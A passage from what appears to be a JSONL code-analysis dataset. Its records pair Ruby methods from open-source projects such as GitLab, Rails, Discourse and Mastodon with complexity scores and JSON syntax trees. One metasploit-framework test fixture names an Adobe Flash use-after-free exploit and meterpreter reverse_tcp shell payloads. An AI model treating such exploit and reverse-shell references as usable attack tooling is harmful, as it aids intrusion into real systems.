ype\":\"str\",\"children\":[\"k8\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"k1\"]},{\"type\":\"str\",\"children\":[\"k2\"]},{\"type\":\"str\",\"children\":[\"k3\"]},{\"type\":\"str\",\"children\":[\"k4\"]},{\"type\":\"str\",\"children\":[\"k5\"]},{\"type\":\"str\",\"children\":[\"k8\"]},{\"type\":\"str\",\"children\":[\"k6\"]},{\"type\":\"str\",\"children\":[\"k7\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"elem1\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"elements\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"elem1\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvar\",\"children\":[\"elem1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem1\"]},\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"normal_parameter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem1\"]},\"[]\",{\"type\":\"str\",\"children\":[\"include\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"elem2\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"elements\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"elem2\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvar\",\"children\":[\"elem2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem2\"]},\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"embedded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem2\"]},\"[]\",{\"type\":\"str\",\"children\":[\"k9\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem2\"]},\"has_key?\",{\"type\":\"str\",\"children\":[\"include\"]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"elem3\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem2\"]},\"elements\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"elem3\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvar\",\"children\":[\"elem3\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"nested_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem3\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nested\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hoge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem3\"]},\"[]\",{\"type\":\"str\",\"children\":[\"include\"]}]}]}]}]}","id":"502546e8-5f3a-4ff0-9b26-07f78178dedc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":173,"raw_source":"def cluster_agent_token_from_authorization_token\n        return unless route_authentication_setting[:cluster_agent_token_allowed]\n\n        self.current_token = current_request.headers[Gitlab::Kas::INTERNAL_API_AGENT_REQUEST_HEADER]\n\n        return unless current_token.present?\n\n        ::Clusters::AgentToken.active.find_by_token(current_token.to_s)\n      end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cluster_agent_token_from_authorization_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_authentication_setting\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cluster_agent_token_allowed\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_token=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_request\"]},\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Kas\"]},\"INTERNAL_API_AGENT_REQUEST_HEADER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_token\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"AgentToken\"]},\"active\"]},\"find_by_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_token\"]},\"to_s\"]}]}]}]}","id":"30fa8c29-ed52-492f-a8a0-49cfce84cc6c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/outdated_discussion_diff_lines_service.rb","start_line":65,"raw_source":"def diff_lines\n      strong_memoize(:diff_lines) do\n        diff_file.highlighted_diff_lines\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"diff_lines\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_file\"]},\"highlighted_diff_lines\"]}]}]}","id":"ab389e5c-400a-4708-90a7-1b10bdced293"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations.rb","start_line":367,"raw_source":"def valid?(context = nil)\n      current_context = validation_context\n      context_for_validation.context = context\n      errors.clear\n      run_validations!\n    ensure\n      context_for_validation.context = current_context\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_context\",{\"type\":\"send\",\"children\":[null,\"validation_context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context_for_validation\"]},\"context=\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"clear\"]},{\"type\":\"send\",\"children\":[null,\"run_validations!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context_for_validation\"]},\"context=\",{\"type\":\"lvar\",\"children\":[\"current_context\"]}]}]}]}","id":"8882201e-72b1-4683-9c10-143d1ad01f5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb","start_line":629,"raw_source":"def redirect_to_wiki(wiki, page, query_params = {})\n    query = query_params.empty? ? '' : \"?#{query_params.to_query}\"\n    redirect_to(\"#{controller.wiki_page_path(wiki, page)}#{query}\")\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_to_wiki\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wiki\"]},{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"optarg\",\"children\":[\"query_params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"to_query\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"wiki_page_path\",{\"type\":\"lvar\",\"children\":[\"wiki\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}]}","id":"8d8cf29b-5bce-4107-9fdc-063dfe902fb8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/incoming_message_service.rb","start_line":116,"raw_source":"def message_type\n    business_message_outgoing? ? :outgoing : :incoming\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"business_message_outgoing?\"]},{\"type\":\"sym\",\"children\":[\"outgoing\"]},{\"type\":\"sym\",\"children\":[\"incoming\"]}]}]}","id":"8c7cbbee-5a7e-4976-85cc-b300f663c2e3"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_permalinks.rb","start_line":60,"raw_source":"def open_permalink_menu(url)\n        find(\"tr.#{url} .permalink-menu-trigger\").click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_permalink_menu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tr.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\" .permalink-menu-trigger\"]}]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"71307366-2e4d-4324-ad90-f1150d55c6db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/lfs_pointer_file.rb","start_line":21,"raw_source":"def size\n        @size ||= @data.bytesize\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"bytesize\"]}]}]}","id":"524ac110-baf6-414a-ba86-312dc9e6ff54"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/simple_client/open_pipe.rb","start_line":13,"raw_source":"def initialize(*args)\n    super(*args)\n    self.mode = 'rw'\n    @buff = ''\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mode=\",{\"type\":\"str\",\"children\":[\"rw\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@buff\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"f823e315-0603-419c-b6d0-4985585b7b06"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian.rb","start_line":337,"raw_source":"def can_suspend?(user)\n    can_unsuspend?(user) && user.regular?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_suspend?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_unsuspend?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"regular?\"]}]}]}","id":"67bd2260-db7d-4ddf-8b34-1dd5e2465b67"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/conversations/typing_status_manager.rb","start_line":17,"raw_source":"def toggle_typing_status\n    case params[:typing_status]\n    when 'on'\n      trigger_typing_event(CONVERSATION_TYPING_ON, params[:is_private])\n    when 'off'\n      trigger_typing_event(CONVERSATION_TYPING_OFF, params[:is_private])\n    end\n    # Return the head :ok response from the controller\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_typing_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"typing_status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"on\"]},{\"type\":\"send\",\"children\":[null,\"trigger_typing_event\",{\"type\":\"const\",\"children\":[null,\"CONVERSATION_TYPING_ON\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_private\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"off\"]},{\"type\":\"send\",\"children\":[null,\"trigger_typing_event\",{\"type\":\"const\",\"children\":[null,\"CONVERSATION_TYPING_OFF\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_private\"]}]}]}]},null]}]}","id":"7ab3bf9a-1784-4f16-a6c0-bca83e4fe3ee"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/plugins/acts_as_op_engine.rb","start_line":328,"raw_source":"def replace_principal_references(attributes_by_class_name)\n        config.to_prepare do\n          Principals::ReplaceReferencesService.add_replacements(attributes_by_class_name)\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_principal_references\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes_by_class_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"to_prepare\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Principals\"]},\"ReplaceReferencesService\"]},\"add_replacements\",{\"type\":\"lvar\",\"children\":[\"attributes_by_class_name\"]}]}]}]}","id":"10d7d172-b2ec-4cb2-aabb-1d7746a877fc"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/html/image_uri.rb","start_line":27,"raw_source":"def github_badge?\n      scheme == GITHUB_BADGE[:scheme] &&\n        host == GITHUB_BADGE[:host] &&\n        filename == GITHUB_BADGE[:filename]\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"github_badge?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheme\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GITHUB_BADGE\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GITHUB_BADGE\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filename\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GITHUB_BADGE\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]}]}","id":"4a1ae54d-9684-43f0-aa65-96314e354877"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/search.rb","start_line":111,"raw_source":"def searchable_text\n    PlainTextFormatter.new(note, local?).to_s if discoverable?\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"searchable_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discoverable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlainTextFormatter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"note\"]},{\"type\":\"send\",\"children\":[null,\"local?\"]}]},\"to_s\"]},null]}]}","id":"014fb986-b846-409c-8e6b-eb8987a931f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/settings/project_custom_field_sections/show_component.rb","start_line":62,"raw_source":"def draggable_item_config(project_custom_field)\n        {\n          \"draggable-id\": project_custom_field.id,\n          \"draggable-type\": \"custom-field\",\n          \"drop-url\": drop_admin_settings_project_custom_field_path(project_custom_field)\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"draggable_item_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_custom_field\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"draggable-id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_custom_field\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"draggable-type\"]},{\"type\":\"str\",\"children\":[\"custom-field\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop-url\"]},{\"type\":\"send\",\"children\":[null,\"drop_admin_settings_project_custom_field_path\",{\"type\":\"lvar\",\"children\":[\"project_custom_field\"]}]}]}]}]}","id":"6eaf0ffe-fc93-4d7a-8b2f-324e9c8f0160"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb","start_line":137,"raw_source":"def create_fake_flash_uncompress_zlib_uaf\n    compat_payloads = [windows_meterpreter_reverse_tcp, linux_meterpreter_reverse_tcp]\n\n    create_fake_exploit(\n      full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf',\n      short_name: 'adobe_flash_uncompress_zlib_uaf',\n      rank: 500,\n      disclosure_date: 'Apr 28 2014',\n      compat_payloads: compat_payloads,\n      datastore_options: {'URIPATH'=>'/flash2'},\n      job_id: 2,\n      requirements: {os_name: lambda { |ver| ver == '16.0.0.287' }}\n    )\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_fake_flash_uncompress_zlib_uaf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compat_payloads\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"windows_meterpreter_reverse_tcp\"]},{\"type\":\"send\",\"children\":[null,\"linux_meterpreter_reverse_tcp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_fake_exploit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_name\"]},{\"type\":\"str\",\"children\":[\"multi/browser/adobe_flash_uncompress_zlib_uaf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_name\"]},{\"type\":\"str\",\"children\":[\"adobe_flash_uncompress_zlib_uaf\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rank\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disclosure_date\"]},{\"type\":\"str\",\"children\":[\"Apr 28 2014\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compat_payloads\"]},{\"type\":\"lvar\",\"children\":[\"compat_payloads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datastore_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"str\",\"children\":[\"/flash2\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_id\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"==\",{\"type\":\"str\",\"children\":[\"16.0.0.287\"]}]}]}]}]}]}]}]}]}]}","id":"689d4576-0e22-4b25-9823-261e5466d201"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/services/boards/base_create_service.rb","start_line":27,"raw_source":"def set_attributes_params(params)\n      {}.tap do |grid_params|\n        grid_params[:options] = options_for_grid(params)\n        grid_params[:widgets] = options_for_widgets(params)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_attributes_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"grid_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grid_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[null,\"options_for_grid\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grid_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"widgets\"]},{\"type\":\"send\",\"children\":[null,\"options_for_widgets\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"63434253-d7a7-4c15-b529-0d4a1860d047"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/spec/services/reaction_manager_spec.rb","start_line":4,"raw_source":"def reaction_manager(reaction_value)\n    described_class.new(reaction_value: reaction_value, user: user, post: post)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reaction_manager\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reaction_value\"]},{\"type\":\"lvar\",\"children\":[\"reaction_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[null,\"post\"]}]}]}]}]}","id":"2151cf03-2b8b-494a-b52c-536da544f65b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":578,"raw_source":"def check_for_timeout(log_prefix = \"MIQ(MiqQueue.check_for_timeout)\", grace = 10.seconds, timeout = msg_timeout.seconds)\n    if state == 'dequeue' && Time.now.utc > (updated_on + timeout.seconds + grace.seconds).utc\n      msg = \" processed by #{handler.format_full_log_msg}\" unless handler.nil?\n      $log.warn(\"#{log_prefix} Timed Out Active #{MiqQueue.format_short_log_msg(self)}#{msg} after #{Time.now.utc - updated_on} seconds\")\n      destroy rescue nil\n    end\n  end","complexity_score":44.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_timeout\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"log_prefix\",{\"type\":\"str\",\"children\":[\"MIQ(MiqQueue.check_for_timeout)\"]}]},{\"type\":\"optarg\",\"children\":[\"grace\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"seconds\"]}]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"msg_timeout\"]},\"seconds\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"dequeue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"updated_on\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"seconds\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grace\"]},\"seconds\"]}]}]},\"utc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handler\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" processed by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handler\"]},\"format_full_log_msg\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_prefix\"]}]},{\"type\":\"str\",\"children\":[\" Timed Out Active \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"format_short_log_msg\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\" after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"updated_on\"]}]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]},null]}]}","id":"a0719d4c-fb67-4bd4-b1da-b7a6b66e8220"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/well_known/webfinger_controller.rb","start_line":32,"raw_source":"def username_from_resource\n      resource_user    = resource_param\n      username, domain = resource_user.split('@')\n      resource_user    = \"#{username}@#{Rails.configuration.x.local_domain}\" if Rails.configuration.x.alternate_domains.include?(domain)\n\n      WebfingerResource.new(resource_user).username\n    